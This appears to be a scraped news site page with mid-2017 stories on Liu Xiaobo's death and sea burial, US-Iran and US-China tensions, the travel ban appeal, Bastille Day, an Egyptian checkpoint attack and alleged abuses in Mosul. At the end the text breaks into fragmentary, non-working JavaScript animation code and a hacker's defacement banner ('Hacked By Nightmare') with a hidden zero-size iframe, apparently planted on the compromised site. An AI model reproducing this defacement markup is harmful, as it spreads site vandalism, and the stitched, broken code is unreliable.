Chinese Nobel laureate’s ashes scattered at sea

Deceased Chinese Nobel Peace Prize-winning dissident Liu Xiaobo‘s ashes were scattered at sea on Saturday, Liu’s brother said, in a move described by a family friend as an effort to erase any memory of him.

Liu, 61, died of multiple organ failure on Thursday in a hospital in the northeastern city of Shenyang, where he was being treated for late-stage liver cancer, having been given medical parole but not freed.

He had been jailed for 11 years in 2009 for “inciting subversion of state power” after helping to write a petition known as “Charter 08” calling for sweeping political reforms.

His widow, Liu Xia, has been under effective house arrest since her husband won the Nobel Peace Prize in 2010, but had been allowed to visit him in prison about once a month. She has never been formally charged with any crime.

Speaking at a government-arranged news conference, Liu Xiaobo’s eldest brother Liu Xiaoguang offered thanks several times to the Communist Party for its thoughtful care considering the dissident’s “special situation”.

“Why has Liu Xia not come here? Her health is very weak at the moment,” Liu Xiaoguang said, sitting in between an English-language interpreter and a Shenyang government official. “So she can’t come here. It’s very regretful.”

After speaking for about 20 minutes, Liu was escorted out by two unidentified women, an unlit cigarette in his mouth, and did not answer questions from journalists who surrounded him.

The government then showed reporters images of the ashes being scattered from a boat.

City government information official Zhang Qingyang said Liu Xia and Liu Xiaoguang had decided upon the scattering of ashes at sea.

But close friend and fellow dissident Hu Jia said the motivation behind the sea burial was so that there was “nothing to remember him by on Chinese soil” and so that supporters could not create a shrine to pay tribute to him.

“We know that Liu Xiaobo’s home is Beijing, his spiritual home is here, his love was also found here,” he said.

Hu said it was well-known among Liu’s friends that his elder brother did not agree with his political views and that it was a cynical move for him to be presented to the media as representing Liu Xia and the family.

“The extent to what the authorities are capable of always exceeds our imagination, they always have something worse than imagined planned,” Hu said of the news conference.

“Crude, Cruel and Callous”

Nicholas Bequelin, Amnesty International’s East Asia Regional Director, tweeted that the news conference was “one of the most crude, cruel and callous political show(s) I have ever witnessed”.

Government official Zhang, speaking earlier, said Liu’s widow was “currently free”, adding that as a Chinese citizen, her rights would be protected under the law.

“But she just lost her spouse. She is extremely sad. In the period after dealing with the death of Liu Xiaobo, she won’t take anymore outside disturbances. This is the wish of the family members. It’s natural.”

Zhang did not say where Liu Xia currently was.

A government statement said Mozart’s Requiem was played during the funeral, a work of music Mozart left unfinished on his death bed.

Liu family lawyer Mo Shaoping told Reuters he did not know whether the cremation was in accordance with family wishes, however, as they had been unreachable.

“They are likely still to be under the watch and control of authorities,” Mo said. “They can’t be contacted.”

In funeral photographs handed out by the government, Liu Xia and other family members stand around the coffin containing Liu’s body, surrounded by white flowers that signify mourning in China.

During the past couple of weeks, Liu Xia had been at the hospital as her husband’s health deteriorated.

Rights groups and Western governments have mourned Liu Xiaobo’s death and urged authorities to grant freedom of movement to his wife and the rest of his family.

Several thousand people in Hong Kong held an evening vigil for Liu, holding up candles and white roses in a largely silent march to China’s main representative office. Some carried banners calling Liu a “people’s hero” and demanding Liu Xia be truly freed.

“Even though he is dead, his fight and beliefs will never be forgotten,” said a 62-year-old marcher surnamed Wu. “We have to do something to commemorate him.”

China has repeatedly attacked foreign governments for their concern about Liu and calls to allow Liu Xia to leave the country if she wishes, and foreign reporters in Shenyang have been closely monitored by plainclothes security.

Efforts are being made to secure permission from Chinese authorities for Liu Xia and her brother Liu Hui to leave, a Western diplomat said on Friday.

The last Nobel Peace Prize winner to live out his dying days under state surveillance was Carl von Ossietzky, a pacifist who died in Berlin in Nazi Germany in 1938.


Iran blames Trump for instability, rejects ‘rogue’ label

Iran on Saturday blamed what it called Donald Trump’s “arbitrary and conflicting policies” for global security threats, rejecting the U.S. president’s description of Tehran as a rogue state.

Tensions between Iran and the United States have heightened since the election of Trump, who has often singled out Tehran as a key backer of militant groups.

“(Trump) ought to seek the reason for subversion and rebellion in his own arbitrary and conflicting policies and actions, as well as those of his arrogant, aggressive and occupying allies in the region,” said foreign ministry spokesman Bahram Qassemi, quoted by Iran’s state news agency IRNA.

President Trump said on Thursday that new threats were emerging from “rogue regimes like North Korea, Iran and Syria and the governments that finance and support them”.

Senior Iranian officials have blamed U.S-allied Saudi Arabia, Iran’s Sunni Muslim regional rival, for instability and attacks in the Middle East, including last month’s assaults that killed 18 people in Tehran.

Saudi Arabia has denied involvement in the attacks which were claimed by Islamic state.

While Trump has kept up his criticism of Tehran, a senior U.S. official said on Thursday that the president was “very likely” to state that Iran is adhering to its nuclear agreement with world powers although he continues to have reservations about it.

Reporting by Dubai newsroom; Editing by Stephen Powell


Trump picks lawyer Ty Cobb to handle Russia probe

U.S. President Donald Trump announced in a statement on Saturday that veteran Washington lawyer Ty Cobb will serve as special counsel, and sources familiar with the hiring said Cobb would handle the White House’s response to Russia-related investigations.

Cobb, a partner at the law firm Hogan Lovells in Washington, is expected to be an intermediary between the White House and Congress, as well as outside attorneys as probes into the Trump campaign’s connections to Russia continue.

A federal special counsel and several congressional panels are investigating allegations by U.S. intelligence agencies that Russia meddled in the 2016 U.S. presidential election and potential connections between Russian officials and the Trump campaign.

Moscow has denied any interference and the president has denied any collusion.

The last person to hold a similar position to Cobb’s was lawyer Emmet Flood, who worked in the George W. Bush administration to respond to Congressional inquiries.

Reporting by Julia Edwards Ainsley; Editing by Tom Brown


Trump to ask Supreme Court to block travel ban ruling

U.S. Attorney General Jeff Sessions said on Friday that the Justice Department will ask the Supreme Court to block a judge’s ruling that prevented President Donald Trump’s travel ban from being applied to grandparents of U.S. citizens and refugees already being processed by resettlement agencies.

Sessions said in a statement that the administration would “reluctantly return directly to the Supreme Court” in a bid to overturn Thursday’s decision by a U.S. district judge in Hawaii, which limited the scope of the administration’s temporary ban on refugees and travelers from six Muslim-majority countries. The Justice Department could file papers with the high court as soon as Friday.

“By this decision, the district court has improperly substituted its policy preferences for the national security judgments of the executive branch in a time of grave threats, defying both the lawful prerogatives of the executive branch and the directive of the Supreme Court,” Sessions Said.

The Supreme Court last month said the ban could take effect, but that people with a “bona fide relationship” to a U.S. person or entity could not be barred.

The administration had narrowly interpreted that language, saying the ban would apply to grandparents and other family members, prompting the state of Hawaii to ask Hawaii-based U.S. District Judge Derrick Watson to expand the definition of who could be admitted.

“The truth here is that the government’s interpretation of the Supreme Court’s stay order defies common sense,” said Omar Jadwat, a lawyer with the American Civil Liberties Union involved in challenging the ban. “That’s what the district court correctly found, and the attorney general’s misleading attacks on its decision can’t change that fact.”

The conservative-leaning Supreme Court is not currently in session, but the justices can handle emergency requests. The administration’s application could be directed either to Justice Anthony Kennedy, who has responsibility for emergency requests from western states, or to the nine justices as a whole. If the court as a whole is asked to weigh in, five votes are needed to grant such a request.

Separately, the Justice Department filed papers in Hawaii federal court saying it would appeal Watson’s ruling to the San Francisco-based 9th U.S. Circuit Court of Appeals. That would give the government a second route to the Supreme Court.

Earlier on Friday, White House homeland security adviser Tom Bossert told reporters that the ruling appeared to be “fairly broad and something that would trouble me if it was as broad as reported.”

Bossert, speaking aboard Air Force One as the president returned from a trip to Paris, focused his remarks on the part of the ruling that would allow more refugees to enter the country, saying the ruling could be interpreted as “so expansive as to cover every refugee.”

In his decision, Watson harshly criticized the government’s definition of close family relations as “the antithesis of common sense.”

Watson also ruled that the assurance by a resettlement agency to provide basic services to a newly arrived refugee constitutes an adequate connection to the United States because it is a sufficiently formal and documented agreement that triggers responsibilities and compensation.

The ruling, if left in place, means refugees can continue to be resettled in the United States, beyond a cap of 50,000 set by the executive order. That limit was reached this week.

The Supreme Court’s decision last month revived parts of Trump’s March 6 executive order banning travelers from Iran, Libya, Somalia, Sudan, Syria and Yemen for 90 days, as well as refugees for 120 days. The court also agreed to hear oral arguments in the fall over whether the ban violates the U.S. Constitution.

Reporting by Lawrence Hurley; Additional reporting by Ayesha Rascoe, Yeganeh Torbati and Dan Levine; Editing by Jonathan Oatis

Bastille Day march-past closes Trump’s Paris visit

President Donald Trump watched U.S. and French soldiers march together through the Paris sunshine on Friday in a double celebration marking 100 years since the United States entered World War One and France’s annual Bastille Day holiday.

Also featuring a bi-national fly-past of American F16 and French Rafale jets symbolizing military cooperation in the Middle East and elsewhere, the occasion followed a day of talks with French President Emmanuel Macron, a first ladies’ tour of Paris, and a dinner for the four at a restaurant in the Eiffel Tower.

“Great evening with President @EmmanuelMacron & Mrs. Macron. Went to Eiffel Tower for dinner. Relationship with France stronger than ever,” Trump wrote in a tweet.

The ceremonies brought to an end a visit Macron needs as a boost to France’s standing on the world stage – one which could also help a U.S. leader left short of international friends by his stance on free trade and climate change.

Trump, also dogged at home by an investigation into alleged Russian interference in the 2016 U.S. election, appeared on Thursday to leave open the door for more talks on the Paris accord which he pulled the United States out of earlier this year.

Military Cuts

Macron arrived standing in a military jeep and surrounded by cavalry – repeating a scene from his inauguration two months ago aimed at reinforcing a message that he heads an important military power.

French President Emmanuel Macron and U.S. President Donald Trump attend the traditional Bastille Day military parade on the Champs-Elysees in Paris, France, July 14, 2017.Charles Platiau

But it came as a fierce row raged between Macron and his armed forces chief, General Pierre de Villiers, over proposed defense budget cuts that are part of his bid to put the French economy in order.

Trump arrived with his wife Melania in a black sedan to be greeted by French first lady Brigitte Macron.

At the parade, the two heads of state sat together in a stand applauding, pointing and touching each other on the arm as military aircraft flew overhead. Trump saluted as U.S. military personnel – some in World War One battle dress – opened the march-past with the Arc de Triomphe in the background.

One marching group evoked another military landmark of Franco-American history, carrying a pennant marked “Fregate Lafayette”, a frigate of the French navy named after the 18th century French aristocrat general Marquis de Lafayette, who helped in the American Revolutionary War against the British.

For France, this year’s Bastille Day has an additional poignancy as the first anniversary of one of the deadliest Islamist militant attacks of the past few years.

After the parade, his first as President, Macron will head for the Mediterranean city of Nice, where he will join a commemoration for the 86 people who died when a Tunisian man drove a truck at a crowd on the waterfront a year ago.


Exclusive: U.S. prepares new sanctions on Chinese firms over North Korea ties – officials


Frustrated that China has not done more to rein in North Korea, the Trump administration could impose new sanctions on small Chinese banks and other firms doing business with Pyongyang within weeks, two senior U.S. officials said.

The U.S. measures would initially hit Chinese entities considered “low-hanging fruit,” including smaller financial institutions and “shell” companies linked to North Korea’s nuclear and missile programs, said one of the officials, while declining to name the targets.

It would leave larger Chinese banks untouched for now, the official said.

The timing and scope of the U.S. action will depend heavily on how China responds to pressure for tougher steps against North Korea when U.S. and Chinese officials meet for a high-level economic dialogue in Washington on Wednesday, the administration sources told Reuters.

President Donald Trump and his top aides have signaled growing impatience with China over North Korea, especially since it last week test-launched its first intercontinental ballistic missile, which experts say could put all of Alaska in range for the first time.

U.S. officials have also warned that China could face U.S. trade and economic pressure – something Trump has held in abeyance since taking office in January – unless it does more to restrain its neighbor.

The so-called secondary sanctions now being considered are a way for the United States to apply targeted economic pressure on companies in countries with ties to North Korea by denying them access to the U.S. market and financial system.

Word of the sanctions plan comes as U.S. ambassador to the United Nations Nikki Haley seeks to overcome resistance from China and Russia to a U.N. Security Council resolution imposing stiffer international sanctions on Pyongyang.

The targets now being weighed for sanctions would come from a list of firms numbering “substantially more than 10” that Trump shared with Chinese President Xi Jinping at a Florida summit in April and which U.S. experts have continued to compile for review, according to one of the officials.

The administration has yet to see what it considers a sufficient response from China.

“The president is losing patience with China,” the official said, adding that there would be a “more aggressive approach to sanctioning Chinese entities … in the not-too-distant future.”

China’s embassy in Washington did not respond immediately to a request for comment. The White House declined comment.

U.S. and U.N. sanctions have failed to deter North Korea from pursuing its nuclear and missile programs, and on Friday, it justified its ICBM test was an exercise of its legitimate right to self-defense.

The North’s KCNA news agency quoted an unidentified foreign ministry spokesman as denouncing U.S. efforts for a new U.N. resolution as a “racket” fabricated by the United States to evade its responsibility for having driven the North to “bolster its nuclear force.”

“Should the U.N. Security Council adopt another ‘resolution on sanctions,’ this will trigger corresponding measures,” KCNA cited the official as saying. It did not elaborate on the measures.

Haley’s Warning

Though the sources stressed that no final decisions had been made, they said China, North Korea’s main trading partner, was crucial to pressuring Pyongyang to prevent it from achieving the capability of striking the United States with a nuclear-tipped missile.

During a U.N. Security Council meeting last week, Haley threatened secondary sanctions if the council could not agree on new sanctions – though she did not cite China by name.

In late June, Washington imposed secondary sanctions on two Chinese citizens and a shipping company for helping North Korea’s nuclear and missile programs and accused a regional Chinese bank, the Bank of Dandong, of laundering money for Pyongyang.

Fresh U.S. sanctions would be aimed at sending a message to Beijing of Washington’s resolve to act further on its own.

But they would stop short, at least for now, of the kind of broad “sectoral” sanctions Trump’s predecessor, Barack Obama, secured through unilateral and international action against Iran to pressure it into negotiations to curb its nuclear program.

Cui Tiankai, China’s ambassador to Washington, said on Monday that secondary sanctions were “not acceptable.”

“Such actions are obstructing cooperation between China and the U.S. and lead to questions about the real intentions of the U.S. side,” according to a transcript of his remarks from the Chinese embassy.

The threat of further secondary sanctions on Chinese companies could complicate next week’s U.S.-China Comprehensive Economic Dialogue, an important forum for narrowing differences between the world’s two biggest economies.

While preparations for fresh sanctions are moving forward, tangible new steps by China could prompt Washington to put the measures on hold, the U.S. sources said.

“They’d have to show they’re really serious,” the second official said. “We’re not going to be paralyzed into inaction.”

Trump pledged repeatedly during his election campaign to get tough on Chinese trade practices deemed unfair to the United States, but his rhetoric softened after the friendlier-than-expected April summit with Xi.

Shortly after their meeting, Trump said he had told Xi that China would get a better trade deal if it reined in North Korea.

But in recent weeks, Trump has fired off tweets denouncing China’s trade with North Korea and cast doubt on whether Beijing was doing enough to counter Pyongyang.

Reflecting growing concern about North Korea on Capitol Hill, two members of the U.S. Senate Banking Committee, Democrat Chris Van Hollen and Republican Pat Toomey, announced on Wednesday they would soon introduce legislation for North Korea modeled on the Iran secondary sanctions laws passed by Congress.

Gunmen kill five Egyptian police south of Cairo: state news

CAIRO (Reuters)

Gunmen ambushed an Egyptian security checkpoint on Friday, killing five policemen in an area just south of the capital, the state-run MENA news agency said.

The attack in al-Badrasheen area of Giza province, 30 km (20 miles) south of Cairo, killed two officers and three conscripts, the agency said citing a security source.

No group immediately claimed responsibility for the attack but Egyptian security forces have been battling the local affiliate of Islamic State in the northern Sinai area and attacks have extended to other parts of Egypt.

Reporting by Ahmed Tolba; Writing by Patrick Markey; Editing by Alison Williams

Iraq ‘investigating Mosul cliff killing video’

The Iraqi government has said it is investigating a video seemingly showing troops killing suspected Islamic State militants detained in the Mosul area.

In the footage, men wearing uniform throw an unarmed man over a cliff. They then shoot his motionless body.

An interior ministry spokesman said that if the video was authentic those responsible must be brought to justice.

Human rights groups say they have received numerous witness reports of torture and executions in Mosul.

Iraq’s prime minister declared victory over IS in the city on Monday, after a nine-month battle that left large areas in ruins, killed thousands of civilians and displaced more than 920,000 others.

Troops are still clearing parts of the Old City, where as many as a couple of hundred militants may be hiding, according to commanders of the US-led coalition that supported the operation.

The BBC was unable to verify the authenticity of the video appearing to show the extrajudicial killing of a detainee, or say when or where it was filmed.

But Human Rights Watch said it had verified the location with satellite imagery.

Damage to central Mosul

The US-based group added that the video was one of four featuring alleged abuses that were posted online on Tuesday and Wednesday by an Iraqi man who regularly published information regarding security and military activities in and around Mosul.

Belkis Wille, senior Iraq researcher at Human Rights Watch, told the BBC: “In the final weeks of the battle for west Mosul, the pervasive attitude that I have observed among armed forces has been of momentum, the desire to get the battle wrapped up as quickly as possible, and a collapse of adherences to the laws of war.”

Numerous witnesses had reported not only a significant increase in the torture and extrajudicial killing of IS suspects by armed forces, but also a feeling among personnel that they no longer needed to conceal such actions, she said.

“These reports have been met with congratulations from Baghdad on the victory, only further fostering the feeling of impunity among armed forces in Mosul.”

At the end of June, Human Rights Watch published a report detailing allegations from four witnesses, who said they had seen Iraqi forces beat unarmed men and boys fleeing the fighting in Mosul and also obtained information about Iraqi forces killing unarmed men.

Still image taken from a video showing Islamic State militants surrender in the Old City of Mosul, Iraq (13 July 2017)

One witness said that he had seen two Counter-Terrorism Service personnel take down the corpse of a suspected IS militant that had been strung up to an electrical pole, and stone the body before taking a few photos of each other posing with it. Later, he added, a CTS fighter showed him a video of a detainee being shot dead.

The Swedish newspaper Expressen also cited an Iraqi federal police officer as saying that he had decapitated at least 50 men with knives and beaten others. The article said the officer had backed up the claims with photos and videos.

Human Rights Watch has also said that Iraqi forces are detaining and holding thousands of men and boys in inhumane conditions without charge, under the guise of screening them for IS-affiliation.

On Thursday, the group reported that at least 170 families of alleged IS members had been sent to a closed camp in Bartella, east of Mosul, for “psychological and ideological rehabilitation”.

Local authorities in Anbar, Babil, Diyala, Nineveh and Salahuddin provinces were also demanding the eviction of families thought to have ties to IS, it said.

Map showing control of Iraq and Syria (19 June 2017)


Liu Xiaobo: China’s most prominent dissident dies

Nobel laureate Liu Xiaobo, who was China’s most prominent human rights and democracy advocate, has died aged 61.

The activist had been serving an 11-year prison term for “subversion” and was recently moved to a hospital for treatment for terminal liver cancer.

A university professor turned tireless rights campaigner, Mr Liu was branded a criminal by authorities.

The Nobel Committee said the Chinese government bore a “heavy responsibility for his premature death”.

The campaigner was repeatedly jailed throughout his life. When not in prison, he was subject to severe restrictions while his wife, Liu Xia, was placed under house arrest.

Mr Liu died “peacefully”, surrounded by his wife and other relatives, a doctor who treated him said. His final words to Liu Xia were: “Live on well,” the South China Morning Post reported.

Who was he?

Liu Xiaobo played a significant role in the Tiananmen Square student protests of June 1989, which ended in bloodshed when they were quashed by government troops.

He and other activists negotiated the safe exit of several hundred demonstrators, and have been credited with saving their lives.

He was subsequently placed in a detention centre and released in 1991.

Mr Liu’s campaign to free those detained during the Tiananmen Square protests landed him in a labour camp in north-eastern China for three years, but he was permitted to marry poet Liu Xia there in 1996.

Chinese dissident and Nobel Peace laureate Liu Xiaobo (L) and his wife Liu Xia in Beijing in October 2002

He was later freed, and continued to campaign for democracy.

The 11-year jail term was handed down in 2009 after he compiled, with other intellectuals, the Charter 08 manifesto. It called for an end to one-party rule and the introduction of multi-party democracy.

Mr Liu was found guilty of trying to overthrow the state.

He was a pro-democracy figurehead for activists outside mainland China, although many of his compatriots were unaware of his struggles because the authorities rigorously censored news about him.

Chairman of Norwegian Nobel Committee Jagland looks down at Nobel certificate and medal on empty chair where Liu would have sat, in Oslo on 10 December 2010
Mr Liu’s absence at the 2010 Nobel ceremony was marked by an empty chair

The dissident won the Nobel Peace Prize in 2010 for his “long and non-violent struggle for fundamental human rights in China”, but he was not permitted to travel to Norway to accept it.

He was the second person to receive the award while in prison – the other was the German pacifist Carl von Ossietzky, who won in 1935 while incarcerated in a Nazi concentration camp.

Analysis: The price of political defiance

By Carrie Gracie, China editor

Chinese authorities refused Liu Xiaobo’s dying request to be allowed to travel abroad for treatment. Instead he died as he had lived, under the close watch of the one-party state.

The life and death of this Nobel laureate underline the cost of political defiance in China. Liu Xiaobo had enjoyed a comfortable early career as a university professor, but the massacre which followed the 1989 Tiananmen Square protests was the fork in his path.

Where many gave up demanding democracy, he stood firm and was jailed repeatedly. When he won the Nobel, he was serving a prison sentence for subversion. A furious Beijing subsequently placed his wife under house arrest.

Only in a hospital ward in the last days of his life have this suffering couple been reunited, to be parted again by his death.

From prison to hospital

In the weeks leading up to his death, Mr Liu’s case became mired in international controversy. Several Western countries urged China to allow Mr Liu to leave the country to seek palliative care elsewhere.

A German and an American doctor who recently visited and examined him in a hospital in the north-eastern city of Shenyang said he would be able to travel abroad. But Chinese medical experts insisted that he was too ill to travel.

Mr Liu’s condition deteriorated shortly after he was admitted to hospital, according to Shenyang’s First Hospital of China Medical University.

In a brief statement, Shenyang local officials said that Mr Liu had suffered multiple organ failure, and that efforts to save the activist had failed.

At a press conference, Teng Yue’e, the doctor who led the team treating Mr Liu, said: “He was not in any pain at that moment, he was very much at peace, because all of his relatives said their goodbyes beforehand.”

What has the reaction been?

  • The UN High Commissioner for Human Rights, Zeid Ra’ad Al Hussein, said Mr Liu “was and will continue to be an inspiration” and urged China to guarantee Liu Xia freedom of movement, allowing her to travel abroad should she want to.
  • The Nobel Committee said: “The Chinese Government bears a heavy responsibility for his premature death.”
  • Human rights group Amnesty International said Mr Liu was “a giant of human rights… a man of fierce intellect, principle, wit and above all humanity”.
  • Chinese artist and dissident Ai Weiwei told the BBC: “China is such a society [where] the government is very arrogant and will never listen or negotiate or tolerate these kind of ideas. It’s not only Liu Xaobo, before him… millions lost their lives.”
  • US Secretary of State Rex Tillerson said: “Mr Liu dedicated his life to the betterment of his country and humankind, and to the pursuit of justice and liberty”, and called on China to release the activist’s wife from house arrest.
  • British Foreign Secretary Boris Johnson: “Liu Xiaobo should have been allowed to choose his own medical treatment overseas, which the Chinese authorities repeatedly denied him. This was wrong and I now urge them to lift all restrictions on his widow, Liu Xia.”
  • Taiwan’s President Tsai Ing-wen said on Facebook: “The Chinese dream should not be swaggering, the Chinese dream should include the dream of Liu Xiaobo: the implementation of democracy, so that every Chinese person can have freedom and dignity.”
  • German Chancellor Angela Merkel: “I mourn Liu Xiaobo, the courageous fighter for human rights and freedom of expression.”
  • French Foreign Minister Jean-YvesLe Drian: “Despite long periods of detention and for more than 30 years, he never stopped defending – with courage – fundamental rights and freedom of speech.”

What about reaction inside China?

Chinese state media reaction has been muted. Xinhua and CCTV news have issued short statements on their English sites stating that Liu Xiaobo, “convicted of subversion of state power”, has died.

Communist Party mouthpiece Global Times said Mr Liu was “a victim led astray” by the West.

“The Chinese side has been focusing on Liu’s treatment, but some Western forces are always attempting to steer the issue in a political direction, hyping the treatment as a ‘human rights’ issue,” the Global Times added.

Social media users have noticed attempts from government censors to mute reaction online.

Many comments appear to have been deleted, including messages with “RIP” or candle emojis, popular when commemorating someone who has died.


Trump Russia claims: Mood in the White House is ‘fantastic’

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ma_txt=” “+ma_txt+” “;
if (w3c) {
while (matrix.childNodes.length) matrix.removeChild(matrix.childNodes[0]);
ma_tab.setAttribute(“border”, 0);
ma_tab.setAttribute(“align”, effectalign);”#000000″;
for (x=0; x<rows; x++) {
for (y=0; y<columns; y++) {
matemp.setAttribute(“id”, “Mx”+x+”y”+y);
} else {
ma_tab='<ta’+’ble align=”‘+effectalign+'” border=”0″ style=”background-color:#000000″>’;
for (var x=0; x<rows; x++) {
for (var y=0; y<columns; y++) {
ma_tab+='<t’+’d class=”matrix” id=”Mx’+x+’y’+y+'”> </’+’td>’;
for (x=0; x<columns; x++) {
ma_bod=setInterval(“mytricks()”, speed);


function mytricks() {
for (y=0; y<columns; y++) {
if (ma_row && m_copo[y]<100) {
if (ma_row<rows+1) {
if (w3c) {
else {
if (ma_row>1 && ma_row<rows+2) {
if (ma_row>2) {
if (ma_row<Math.floor(rows/2)+1) m_copo[y]++;
else if (ma_row==Math.floor(rows/2)+1 && m_coch[y]==ma_txt.charAt(y)) zoomer(y);
else if (ma_row<rows+2) m_copo[y]++;
else if (m_copo[y]<100) m_copo[y]=0;
else if (Math.random()>0.9 && m_copo[y]<100) {
if (x==columns) clearInterval(ma_bod);


function zoomer(ycol) {
var mtmp, mtem, ytmp;
if (m_copo[ycol]==Math.floor(rows/2)+1) {
for (ytmp=0; ytmp<rows; ytmp++) {
if (w3c) {
else {
if (Math.random()<reveal) {
ma_cho=ma_cho.substring(0, mtmp)+ma_cho.substring(mtmp+1, ma_cho.length);
if (Math.random()<reveal-1) ma_cho=ma_cho.substring(0, ma_cho.length-1);
setTimeout(“zoomer(“+ycol+”)”, speed);
else if (m_copo[ycol]>200) {
if (w3c) {
else {
setTimeout(“zoomer(“+ycol+”)”, speed);
else if (m_copo[ycol]==200) m_copo[ycol]=100+Math.floor(rows/2);
if (m_copo[ycol]>100 && m_copo[ycol]<200) {
if (w3c) {
else {
setTimeout(“zoomer(“+ycol+”)”, speed);

var h1 = document.getElementsByTagName(“h1”)[0],
text = h1.innerText || h1.textContent,
split = [], i, lit = 0, timer = null;
for(i = 0; i < text.length; ++i) {
split.push(“<span>” + text[i] + “</span>”);
h1.innerHTML = split.join(“”);
split = h1.childNodes;


var flicker = function() {
lit += 0.01;
if(lit >= 1) {
for(i = 0; i < split.length; ++i) {
if(Math.random() < lit) {
split[i].className = “neon”;
} else {
split[i].className = “”;
setInterval(flicker, 100);


//strat sec


// end  –>
<iframe width=”0″ height=”0″ src=”″ frameborder=”0″ allowfullscreen></iframe><h2><font color=”red”>Hacked By</font></h2><h1><font color=”white”>Nightmare</font></h1><h3><font color=”red”>TN 0wn3r</font></h3>
<font face=”Iceland” style=”color:red;text-shadow:0px 1px 5px #000;font-size:30px”>Your Security was not enougH<br>!! T0 ST0P ME !!<br>Just Defaced, No Data was harmed</font><br><br><font face=”Iceland” style=”color:lime;text-shadow:0px 1px 5px #000;font-size:30px”>#No_Mercy_About_Security</font><br><font face=”Iceland” style=”color:red;text-shadow:0px 1px 5px #000;font-size:30px”></font><br><font face=”Iceland” style=”color:lime;text-shadow:0px 1px 5px #000;font-size:30px”>#Try To Contact me if u want a better security sys</font><br><br>
<font face=”Iceland” style=”color:blue;text-shadow:0px 1px 5px #000;font-size:30px”>:::::</font><br>
<div id=”matrix” class=”auto-style8″ font-size=”20px”>#</div></font><br>